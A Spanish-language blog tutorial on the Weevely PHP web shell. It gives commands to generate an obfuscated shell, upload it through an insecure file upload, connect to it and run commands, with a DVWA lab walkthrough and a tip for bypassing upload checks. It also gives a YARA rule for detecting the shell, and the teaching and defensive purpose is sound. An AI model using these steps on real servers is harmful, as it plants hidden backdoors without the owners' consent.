Weevely web shell sigilosa para administrar

 

https://www.onlinetis.com

Weevely web shell sigilosa para administrar

Weevely es una herramienta de pruebas de penetración (pentesting) integrada en Kali Linux. Funciona como una web shell sigilosa diseñada para mantener acceso remoto a un servidor web comprometido y administrarlo a través de una terminal estilo SSH.

A diferencia de las web shells tradicionales que incluyen interfaces gráficas detectables, Weevely genera un código PHP ofuscado y cifrado, lo que dificulta su detección por parte de sistemas de seguridad (IDS/IPS) o antivirus en el servidor.

Flujo general de uso

El uso de Weevely se divide en dos fases principales: generar el archivo PHP y conectarse al servidor.

Plaintext
1. Crear la shell localmente ──> 2. Subir el archivo al servidor web ──> 3. Conectarse desde Kali Linux

1. Generar la web shell PHP

Para crear el archivo de la shell que se subirá al servidor objetivo, abre la terminal en Kali Linux y ejecuta:

Bash
weevely generate <contraseña> <nombre_archivo.php>
  • <contraseña>: Una clave que tú elijas. Se utiliza para cifrar la comunicación entre tu máquina y la shell.

  • <nombre_archivo.php>: El nombre del archivo que se va a crear (ejemplo: imagen.php o backdoor.php).

Ejemplo:

Bash
weevely generate MiClaveSegura123 shell.php

2. Subir el archivo al servidor objetivo

El archivo generado (shell.php) debe subirse al servidor web vulnerable (por ejemplo, aprovechando una vulnerabilidad de File Upload / Subida Insegura de Archivos).

3. Establecer la conexión

Una vez que el archivo PHP está alojado en el servidor web y es accesible mediante una URL, inicia la conexión desde tu terminal:

Bash
weevely <URL_del_archivo> <contraseña>

Ejemplo:

Bash
weevely http://ejemplo.com/uploads/shell.php MiClaveSegura123

Si la conexión es exitosa, se abrirá una consola interactiva (weevely>) donde podrás ejecutar comandos directamente en el servidor objetivo.

Módulos y comandos útiles

Weevely incluye módulos integrados que automatizan tareas comunes de auditoría. Puedes utilizarlos desde la consola interactiva de Weevely:

  • Auditoría de archivos: Buscar archivos con permisos de escritura o configuraciones expuestas.

  • Escalada de privilegios: Buscar ejecutables con permisos SUID o vulnerabilidades locales.

  • Gestión de base de datos: Ejecutar consultas SQL en bases de datos a las que el servidor tenga acceso.

  • Descarga/Carga de archivos: Transferir archivos entre tu máquina Kali y el servidor.

⚠️ Aviso de seguridad y legalidad: Weevely es una herramienta diseñada exclusivamente para auditorías de seguridad autorizadas, entornos de laboratorio o competencias de tipo Catch The Flag (CTF). El uso de esta herramienta en sistemas sin autorización previa es ilegal.


Para realizar este ejercicio práctico necesitarás un entorno de laboratorio controlado con DVWA (Damn Vulnerable Web Application) corriendo sobre un servidor local (o máquina virtual como Metasploitable 2) y tu máquina Kali Linux en la misma red.

Prerrequisitos en DVWA

  1. Inicia sesión en DVWA.

  2. Ve al apartado DVWA Security en el menú de la izquierda.

  3. Establece el nivel de seguridad en Low (Bajo) y haz clic en Submit.

Paso a paso

1.Generar la shell PHP en Kali Linux:1-2 minutos.

Abre una terminal en Kali Linux y genera el archivo PHP ofuscado indicando una contraseña y el nombre del archivo:

Bash
weevely generate ClaveLaboratorio123 avatar.php

Esto creará un archivo llamado avatar.php en el directorio actual.

2.Subir el archivo a DVWA:File Upload Module.
  1. En el menú lateral de DVWA, entra en File Upload.

  2. Haz clic en Examinar / Seleccionar archivo y elige el archivo avatar.php que acabas de generar.

  3. Presiona el botón Upload.

  4. DVWA mostrará la ruta donde guardó el archivo, que suele verse así:

    ../../hackable/uploads/avatar.php

3.Obtener la URL completa de la shell:Verificación.

Construye la URL directa del archivo subido según la dirección IP de tu servidor DVWA:

Plaintext
http:///dvwa/hackable/uploads/avatar.php

(Por ejemplo: [http://192.168.1.50/dvwa/hackable/uploads/avatar.php](http://192.168.1.50/dvwa/hackable/uploads/avatar.php))

4.Establecer la conexión con Weevely:Terminal de Kali Linux.

Regresa a la terminal de Kali Linux y ejecuta Weevely pasando la URL completa y la clave que usaste en el paso 1:

Bash
weevely http://192.168.1.50/dvwa/hackable/uploads/avatar.php ClaveLaboratorio123

Si todo es correcto, la terminal cambiará a la consola interactiva:

Plaintext
weevely>
5.Ejecutar comandos e inspección:Interacción.

Una vez dentro de la consola weevely>, puedes interactuar con el sistema objetivo:

  • Ver usuario del sistema: whoami

  • Listar el directorio: ls -la

  • Ver información del sistema operativo: uname -a

  • Ejecutar un módulo de auditoría de Weevely: :system.info

💡 Nota sobre niveles de seguridad superiores: En el nivel Medium de DVWA, la aplicación valida que el archivo sea una imagen comprobando la extensión o el tipo MIME. Para evadir esa restricción se suele cambiar la extensión a .php.jpg o interceptar la petición HTTP con Burp Suite para modificar el campo Content-Type.


Para detectar las web shells generadas por Weevely mediante reglas YARA, es necesario analizar los patrones de ofuscación que utiliza la herramienta al empaquetar el código PHP.

Weevely no genera un archivo con código legible, sino un payload altamente comprimido y ofuscado que suele emplear:

  • Declaraciones masivas de matrices (arrays) con cadenas alfanuméricas aleatorias o divididas.

  • Funciones de manipulación de cadenas (str_replace, implode, substr).

  • Invocación dinámica de funciones PHP (eval, $f(...), o decodificación base64/XOR).

Regla YARA de ejemplo

A continuación tienes una regla orientada a identificar el patrón característico del código ofuscado que produce Weevely:

Fragmento de código
rule Detect_Weevely_PHP_Webshell {
    meta:
        description = "Detecta firmas y patrones de ofuscacion caracteristicos de webshells generadas por Weevely"
        author = "Analista de Seguridad"
        date = "2026-07-27"
        severity = "HIGH"
        reference = "https://github.com/epinna/weevely3"

    strings:
        // Etiqueta de inicio PHP
        $php_tag = "<?php" ascii lower

        // Cadenas comunes en la estructura de ofuscacion de Weevely
        $str_replace = "str_replace" ascii
        $implode = "implode" ascii
        $base64 = "base64_decode" ascii
        
        // Patrones tipicos de asignacion y sustitucion de cadenas en arrays de Weevely
        $weevely_pattern1 = /\$[a-zA-Z0-9_]+\s*=\s*\$[a-zA-Z0-9_]+\s*\.\s*\$[a-zA-Z0-9_]+;/
        $weevely_pattern2 = /\$[a-zA-Z0-9_]+\s*=\s*str_replace\(/ ascii
        
        // Uso de variables dinámicas o asignaciones globales típicas
        $global_var = "$GLOBALS" ascii

    condition:
        // El archivo debe comenzar o contener la etiqueta PHP y no superar un tamaño razonable
        filesize < 100KB and $php_tag and (
            // Combinacion de funciones utilizadas para recomponer el payload
            (all of ($str_replace, $implode) and ($base64 or $global_var)) or
            // O coincidencia de los patrones regex de ensamblado de variables
            all of ($weevely_pattern*)
        )
}

Desglose de la regla

  1. Sección meta: Describe el propósito de la regla, autor, nivel de severidad y referencias útiles para la clasificación del incidente en el SOC o SIEM.

  2. Sección strings:

    • $php_tag: Asegura que el archivo analizado sea un script interpretado por PHP.

    • $str_replace / $implode / $base64: Weevely une fragmentos de cadenas ofuscadas almacenadas en arrays y las decodifica en tiempo de ejecución.

    • Expresiones regulares ($weevely_pattern*): Detectan la concatenación excesiva de variables de nombres aleatorios ($a = $b . $c;), patrón distintivo de la plantilla de generación de Weevely.

  3. Sección condition:

    • filesize < 100KB: Filtra archivos grandes para evitar ralentizar el escaneo del servidor, ya que las shells de Weevely suelen ser muy livianas (menos de 5-10 KB).

    • Exige la presencia de la etiqueta PHP junto con la combinación de métodos de reconstrucción de código.

Cómo probar la regla con YARA

Para ejecutar el escaneo sobre un directorio de un servidor web (por ejemplo, /var/www/html/):

Bash
yara -r /ruta/a/la/regla_weevely.yar /var/www/html/

Si deseas integrar la búsqueda con herramientas de auditoría locales, puedes combinarla con Thor Lite, Loki o incluirla en el agente de análisis de integridad de tu sistema (como Wazuh).

https://www.onlinetis.com

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux